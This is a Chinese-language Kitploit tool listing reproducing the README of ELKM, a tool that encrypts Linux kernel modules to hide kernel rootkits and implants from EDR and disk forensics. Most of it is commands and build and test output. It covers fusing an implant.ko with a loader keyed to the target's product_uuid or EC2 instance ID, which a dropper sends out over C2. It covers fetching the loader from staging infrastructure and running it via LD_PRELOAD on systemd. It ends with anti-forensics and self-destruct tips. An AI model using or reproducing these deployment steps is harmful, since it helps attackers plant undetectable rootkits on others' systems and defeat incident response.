Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
工具/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Privilege EscalationEncryption/Decryption ToolsPersistence MechanismsIDS/IPS EvasionPost-ExploitationCommand and ControlRed TeamingPayload Development

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

查看仓库
1335年前尚未审核

ELKM:加密的 Linux x86-64 可加载内核模块

ELKM 提供了一种安全传输和加载加密可加载内核模块(LKM)的机制。其目的是保护基于内核的 rootkit 和植入程序不被端点检测与响应(EDR)软件发现,并抵消磁盘取证工具进行恢复所带来的影响。

RHEL/CentOS 7

ELKM 专为 RHEL/CentOS 7 x86-64 编写。

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

准备构建环境

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

本地自动化测试

该测试脚本执行 4 项测试:

  • 通过 /sys/class/dmi/id/product_uuid 提供密码
  • 通过 http://169.254.169.254/latest/meta-data/instance-id 提供密码(当处于 EC2 环境时)
  • 通过环境变量提供密码
  • 通过标准输入提供密码
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

构建并手动创建测试载荷

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

实战部署

将 ELKM 绑定到特定系统

通过 product_uuid

在目标系统上:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

注意:这应以自动化方式完成,例如通过 dropper(投放器)。通过 C2 将 product_uuid 传输到中转基础设施。

在中转基础设施上:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

在目标系统上从中转基础设施下载 loader,并通过受信任的可执行文件执行它:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
通过 EC2 实例 ID

在目标系统上:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

注意:这应以自动化方式完成,例如通过 dropper(投放器)。通过 C2 将实例 ID 传输到中转基础设施。

在中转基础设施上:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

在目标系统上从中转基础设施下载 loader,并通过受信任的可执行文件执行它:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

设置用于环境变量或交互式 Shell 的密码

在中转基础设施上:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

在目标系统上,通过环境变量:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

或通过标准输入:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

提示

如果你希望在实战中部署 ELKM,这里有一些提示:

  • 不要使用 'debug' 编译
  • 更改函数名称
  • 实现更多反取证技术
  • 考虑用其他加密库替换 OpenSSL
  • 实现密码验证失败时的自毁模式

我们选择不实现这些功能,以避免被指纹识别。

下载工具